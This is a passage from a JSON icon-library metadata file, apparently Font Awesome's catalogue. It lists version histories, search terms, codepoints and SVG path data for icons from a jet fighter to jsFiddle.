        "path": "M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z"
      }
    },
    "free": ["brands"]
  },
  "jet-fighter": {
    "aliases": {
      "names": ["fighter-jet"],
      "unicodes": {
        "secondary": ["10f0fb"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "airforce",
        "airplane",
        "airport",
        "fast",
        "fly",
        "goose",
        "marines",
        "maverick",
        "military",
        "plane",
        "quick",
        "top gun",
        "transportation",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0fb",
    "label": "Jet Fighter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M160 24c0-13.3 10.7-24 24-24H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H280L384 192H500.4c7.7 0 15.3 1.4 22.5 4.1L625 234.4c9 3.4 15 12 15 21.6s-6 18.2-15 21.6L522.9 315.9c-7.2 2.7-14.8 4.1-22.5 4.1H384L280 464h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H184c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V320H160l-54.6 54.6c-6 6-14.1 9.4-22.6 9.4H64c-17.7 0-32-14.3-32-32V288c-17.7 0-32-14.3-32-32s14.3-32 32-32V160c0-17.7 14.3-32 32-32H82.7c8.5 0 16.6 3.4 22.6 9.4L160 192h32V48h-8c-13.3 0-24-10.7-24-24zM80 240c-8.8 0-16 7.2-16 16s7.2 16 16 16h64c8.8 0 16-7.2 16-16s-7.2-16-16-16H80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M160 24c0-13.3 10.7-24 24-24H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H280L384 192H500.4c7.7 0 15.3 1.4 22.5 4.1L625 234.4c9 3.4 15 12 15 21.6s-6 18.2-15 21.6L522.9 315.9c-7.2 2.7-14.8 4.1-22.5 4.1H384L280 464h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H184c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V320H160l-54.6 54.6c-6 6-14.1 9.4-22.6 9.4H64c-17.7 0-32-14.3-32-32V288c-17.7 0-32-14.3-32-32s14.3-32 32-32V160c0-17.7 14.3-32 32-32H82.7c8.5 0 16.6 3.4 22.6 9.4L160 192h32V48h-8c-13.3 0-24-10.7-24-24zM80 240c-8.8 0-16 7.2-16 16s7.2 16 16 16h64c8.8 0 16-7.2 16-16s-7.2-16-16-16H80z"
      }
    },
    "free": ["solid"]
  },
  "jet-fighter-up": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "airforce",
        "airplane",
        "airport",
        "fast",
        "fly",
        "goose",
        "marines",
        "maverick",
        "military",
        "plane",
        "quick",
        "top gun",
        "transportation",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "e518",
    "label": "Jet Fighter Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M270.7 9.7C268.2 3.8 262.4 0 256 0s-12.2 3.8-14.7 9.7L197.2 112.6c-3.4 8-5.2 16.5-5.2 25.2v77l-144 84V280c0-13.3-10.7-24-24-24s-24 10.7-24 24v56 32 24c0 13.3 10.7 24 24 24s24-10.7 24-24v-8H192v32.7L133.5 468c-3.5 3-5.5 7.4-5.5 12v16c0 8.8 7.2 16 16 16h96V448c0-8.8 7.2-16 16-16s16 7.2 16 16v64h96c8.8 0 16-7.2 16-16V480c0-4.6-2-9-5.5-12L320 416.7V384H464v8c0 13.3 10.7 24 24 24s24-10.7 24-24V368 336 280c0-13.3-10.7-24-24-24s-24 10.7-24 24v18.8l-144-84v-77c0-8.7-1.8-17.2-5.2-25.2L270.7 9.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M270.7 9.7C268.2 3.8 262.4 0 256 0s-12.2 3.8-14.7 9.7L197.2 112.6c-3.4 8-5.2 16.5-5.2 25.2v77l-144 84V280c0-13.3-10.7-24-24-24s-24 10.7-24 24v56 32 24c0 13.3 10.7 24 24 24s24-10.7 24-24v-8H192v32.7L133.5 468c-3.5 3-5.5 7.4-5.5 12v16c0 8.8 7.2 16 16 16h96V448c0-8.8 7.2-16 16-16s16 7.2 16 16v64h96c8.8 0 16-7.2 16-16V480c0-4.6-2-9-5.5-12L320 416.7V384H464v8c0 13.3 10.7 24 24 24s24-10.7 24-24V368 336 280c0-13.3-10.7-24-24-24s-24 10.7-24 24v18.8l-144-84v-77c0-8.7-1.8-17.2-5.2-25.2L270.7 9.7z"
      }
    },
    "free": ["solid"]
  },
  "jira": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["atlassian"]
    },
    "styles": ["brands"],
    "unicode": "f7b1",
    "label": "Jira",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z"
      }
    },
    "free": ["brands"]
  },
  "joget": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b7",
    "label": "Joget",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z"
      }
    },
    "free": ["brands"]
  },
  "joint": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f595"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "blunt",
        "cannabis",
        "doobie",
        "drugs",
        "marijuana",
        "roach",
        "smoke",
        "smoking",
        "spliff"
      ]
    },
    "styles": ["solid"],
    "unicode": "f595",
    "label": "Joint",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M448 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43c0 55.2 21.9 108.1 60.9 147.1l21 21c9 9 14.1 21.2 14.1 33.9v11c0 17.7 14.3 32 32 32s32-14.3 32-32V245c0-29.7-11.8-58.2-32.8-79.2l-21-21C463.2 117.8 448 81.2 448 43V32zM576 256c0 17.7 14.3 32 32 32s32-14.3 32-32V245c0-55.2-21.9-108.1-60.9-147.1l-21-21c-9-9-14.1-21.2-14.1-33.9V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43c0 29.7 11.8 58.2 32.8 79.2l21 21c27 27 42.2 63.6 42.2 101.8v11zM229.8 360c-4.7-2.3-10-2.7-15.2-2c-37.8 5.6-75.2 14.3-106.9 22.8C81.3 388 58.3 395.1 42 400.4c-8.2 2.7-14.7 4.9-19.2 6.5c-2.3 .8-4 1.4-5.2 1.8l-1.3 .5C6.8 412.5 0 421.4 0 432s6.8 19.5 16.3 22.7l1.3 .5c1.2 .4 3 1.1 5.2 1.8c4.5 1.6 11 3.8 19.2 6.5c16.3 5.4 39.2 12.5 65.7 19.6C160.3 497.3 228.8 512 288 512h67.3c4.1 0 6.3-5.1 3.6-8.3L256.5 380.8c-7.4-8.9-16.5-15.9-26.7-20.8zM445 512h19 51.3c4.1 0 6.3-5.1 3.6-8.3L416.5 380.8C401.3 362.5 378.8 352 355 352H336 288c-1.1 0-2.3 0-3.4 0c-4.1 0-6.2 5.1-3.5 8.3L383.5 483.2C398.7 501.5 421.2 512 445 512zm-3.9-151.7L543.5 483.2c14.6 17.5 35.9 27.9 58.6 28.7c21.1-1.1 37.9-18.6 37.9-39.9V392c0-22.1-17.9-40-40-40H444.7c-4.1 0-6.3 5.1-3.6 8.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M448 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43c0 55.2 21.9 108.1 60.9 147.1l21 21c9 9 14.1 21.2 14.1 33.9v11c0 17.7 14.3 32 32 32s32-14.3 32-32V245c0-29.7-11.8-58.2-32.8-79.2l-21-21C463.2 117.8 448 81.2 448 43V32zM576 256c0 17.7 14.3 32 32 32s32-14.3 32-32V245c0-55.2-21.9-108.1-60.9-147.1l-21-21c-9-9-14.1-21.2-14.1-33.9V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43c0 29.7 11.8 58.2 32.8 79.2l21 21c27 27 42.2 63.6 42.2 101.8v11zM229.8 360c-4.7-2.3-10-2.7-15.2-2c-37.8 5.6-75.2 14.3-106.9 22.8C81.3 388 58.3 395.1 42 400.4c-8.2 2.7-14.7 4.9-19.2 6.5c-2.3 .8-4 1.4-5.2 1.8l-1.3 .5C6.8 412.5 0 421.4 0 432s6.8 19.5 16.3 22.7l1.3 .5c1.2 .4 3 1.1 5.2 1.8c4.5 1.6 11 3.8 19.2 6.5c16.3 5.4 39.2 12.5 65.7 19.6C160.3 497.3 228.8 512 288 512h67.3c4.1 0 6.3-5.1 3.6-8.3L256.5 380.8c-7.4-8.9-16.5-15.9-26.7-20.8zM445 512h19 51.3c4.1 0 6.3-5.1 3.6-8.3L416.5 380.8C401.3 362.5 378.8 352 355 352H336 288c-1.1 0-2.3 0-3.4 0c-4.1 0-6.2 5.1-3.5 8.3L383.5 483.2C398.7 501.5 421.2 512 445 512zm-3.9-151.7L543.5 483.2c14.6 17.5 35.9 27.9 58.6 28.7c21.1-1.1 37.9-18.6 37.9-39.9V392c0-22.1-17.9-40-40-40H444.7c-4.1 0-6.3 5.1-3.6 8.3z"
      }
    },
    "free": ["solid"]
  },
  "joomla": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1aa",
    "label": "Joomla Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z"
      }
    },
    "free": ["brands"]
  },
  "js": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b8",
    "label": "JavaScript (JS)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"
      }
    },
    "free": ["brands"]
  },
  "jsfiddle": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1cc",
    "label": "jsFiddle",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M510.634 237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
